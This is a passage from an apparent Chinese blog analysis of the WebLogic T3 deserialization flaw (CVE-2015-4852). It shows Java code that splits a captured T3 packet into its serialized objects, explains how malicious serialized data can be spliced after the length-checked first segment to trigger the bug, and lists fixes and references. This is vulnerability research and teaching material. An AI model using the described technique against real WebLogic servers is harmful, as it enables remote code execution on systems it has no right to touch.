163 (byte) 0x50, (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x49, (byte) 0x00, (byte) 0x0b,
164 (byte) 0x73, (byte) 0x65, (byte) 0x72, (byte) 0x76, (byte) 0x69, (byte) 0x63, (byte) 0x65, (byte) 0x50,
165 (byte) 0x61, (byte) 0x63, (byte) 0x6b, (byte) 0x5a, (byte) 0x00, (byte) 0x0e, (byte) 0x74, (byte) 0x65,
166 (byte) 0x6d, (byte) 0x70, (byte) 0x6f, (byte) 0x72, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x50,
167 (byte) 0x61, (byte) 0x74, (byte) 0x63, (byte) 0x68, (byte) 0x4c, (byte) 0x00, (byte) 0x09, (byte) 0x69,
168 (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x54, (byte) 0x69, (byte) 0x74, (byte) 0x6c, (byte) 0x65,
169 (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x05, (byte) 0x4c, (byte) 0x00, (byte) 0x0a,
170 (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65, (byte) 0x6e, (byte) 0x64,
171 (byte) 0x6f, (byte) 0x72, (byte) 0x71, (byte) 0x00, (byte) 0x7e, (byte) 0x00, (byte) 0x05, (byte) 0x4c,
172 (byte) 0x00, (byte) 0x0b, (byte) 0x69, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x56, (byte) 0x65,
173 (byte) 0x72, (byte) 0x73, (byte) 0x69, (byte) 0x6f, (byte) 0x6e, (byte) 0x71, (byte) 0x00, (byte) 0x7e,
174 (byte) 0x00, (byte) 0x05, (byte) 0x78, (byte) 0x70, (byte) 0x77, (byte) 0x02, (byte) 0x00, (byte) 0x00,
175 (byte) 0x78, (byte) 0xfe, (byte) 0x00, (byte) 0xff, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00,
176 (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x13,
177 (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63,
178 (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x4a, (byte) 0x56,
179 (byte) 0x4d, (byte) 0x49, (byte) 0x44, (byte) 0xdc, (byte) 0x49, (byte) 0xc2, (byte) 0x3e, (byte) 0xde,
180 (byte) 0x12, (byte) 0x1e, (byte) 0x2a, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
181 (byte) 0x77, (byte) 0x49, (byte) 0x21, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
182 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32,
183 (byte) 0x2e, (byte) 0x31, (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32,
184 (byte) 0x39, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32, (byte) 0x2e, (byte) 0x31,
185 (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x36,
186 (byte) 0x65, (byte) 0x53, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x07, (byte) 0x00,
187 (byte) 0x00, (byte) 0x1b, (byte) 0x59, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
188 (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
189 (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
190 (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x78, (byte) 0xfe, (byte) 0x01, (byte) 0x00, (byte) 0x00,
191 (byte) 0xac, (byte) 0xed, (byte) 0x00, (byte) 0x05, (byte) 0x73, (byte) 0x72, (byte) 0x00, (byte) 0x13,
192 (byte) 0x77, (byte) 0x65, (byte) 0x62, (byte) 0x6c, (byte) 0x6f, (byte) 0x67, (byte) 0x69, (byte) 0x63,
193 (byte) 0x2e, (byte) 0x72, (byte) 0x6a, (byte) 0x76, (byte) 0x6d, (byte) 0x2e, (byte) 0x4a, (byte) 0x56,
194 (byte) 0x4d, (byte) 0x49, (byte) 0x44, (byte) 0xdc, (byte) 0x49, (byte) 0xc2, (byte) 0x3e, (byte) 0xde,
195 (byte) 0x12, (byte) 0x1e, (byte) 0x2a, (byte) 0x0c, (byte) 0x00, (byte) 0x00, (byte) 0x78, (byte) 0x70,
196 (byte) 0x77, (byte) 0x1f, (byte) 0x01, (byte) 0xb1, (byte) 0x5f, (byte) 0x44, (byte) 0x41, (byte) 0xe4,
197 (byte) 0x9c, (byte) 0x92, (byte) 0x69, (byte) 0x00, (byte) 0x0c, (byte) 0x31, (byte) 0x37, (byte) 0x32,
198 (byte) 0x2e, (byte) 0x31, (byte) 0x36, (byte) 0x2e, (byte) 0x32, (byte) 0x2e, (byte) 0x31, (byte) 0x32,
199 (byte) 0x39, (byte) 0x36, (byte) 0x65, (byte) 0x53, (byte) 0x70, (byte) 0x00, (byte) 0x00, (byte) 0x00,
200 (byte) 0x00, (byte) 0x78};
201 int skip = 0;
202 List<Integer> size_list = new ArrayList<Integer>();
203 size_list.add(0);
204 // 前四个字节
205 int length = ((bytes[0] & 0xff) << 8 * 3) + ((bytes[1] & 0xff) << 8 * 2) + ((bytes[2] & 0xff) << 8) + (bytes[3] & 0xff);
206 System.out.println("数据包长度标记:" + length);
207 ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
208 int origSize = bis.available();
209 System.out.println("数据长度" + origSize);
210 Object o = null;
211 while (bis.available() > 0) {
212 try {
213 bis.reset();
214 bis.skip(skip);
215 ObjectInputStream ois = new ObjectInputStream(bis);
216 o = ois.readObject();
217 System.out.println("Object found:" + o.getClass().getName());
218 size_list.add(skip);
219 skip = origSize - bis.available();
220 } catch (StreamCorruptedException e) {
221 skip = skip + 1;
222 bis.skip(1);
223 } catch (OptionalDataException ode) {
224 bis.skip(1);
225 skip = skip + 1;
226 } catch (ClassNotFoundException c) {
227 System.out.println("Class not found:" + c.getMessage());
228 skip = origSize - bis.available();
229 }
230 }
231 size_list.add(bytes.length);
232 int start = 0;
233 int end = 0;
234 for (int i = 0; i < size_list.size() - 1; i++) {
235 start = size_list.get(i);
236 end = size_list.get(i + 1);
237 System.out.println("size:" + i + " start:" + start + " end:" + end);
238 }
239 }
240}
可以看到,一共分为6段,第一部分没有序列化对象,2-6部分均存在序列化对象,这里借乌云一张图来解释。
因为第一部分会校验数据包长度,替换2-6部分的序列化数据不太现实,如果长度不匹配weblogic会报java.io.EOFException异常。
那么我们可以通过构造第一部分的非Java数据(前4个字节为数据长度)+第二部分拼接我们恶意的序列化数据,即可触发漏洞。
修复
- 在weblogic所在服务器安装web代理应用,如apache、nginx等,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,t3协议过不来自然无法触发反序列化。需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。
- 使用https://github.com/ikkisoft/SerialKiller。
- weblogic 用黑名单的方式对反序列化的类做了一些过滤,后面的几个 cve 也都是绕过黑名单。
总结
因为是common-collections这个库出现的反序列化漏洞,加上7001端口默认提供了http snmp t3协议服务,一个端口复用多个协议,而t3协议通过传续序列化对象来通信,对传输的数据又没有过滤,导致了反序列化漏洞,是反序列化影响范围大、影响时间久远的洞了。
本文花费的时间也比较长,从基本的common-collections链到weblogic的安装部署,再到wireshark分析和t3协议的模拟,参考了很多文章,毕竟刚开始学Java审计,慢慢来,加油。
参考链接
http://www.jspxcms.com/knowledge/429.html https://blog.csdn.net/cz596738622/article/details/80483812 https://www.cnblogs.com/ph4nt0mer/p/11772709.html https://paper.seebug.org/584/ https://paper.seebug.org/1012/ http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/ https://github.com/QAX-A-Team/WeblogicEnvironment http://drops.xmd5.com/static/drops/web-13470.html https://blog.csdn.net/he_and/article/details/97924679
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
评论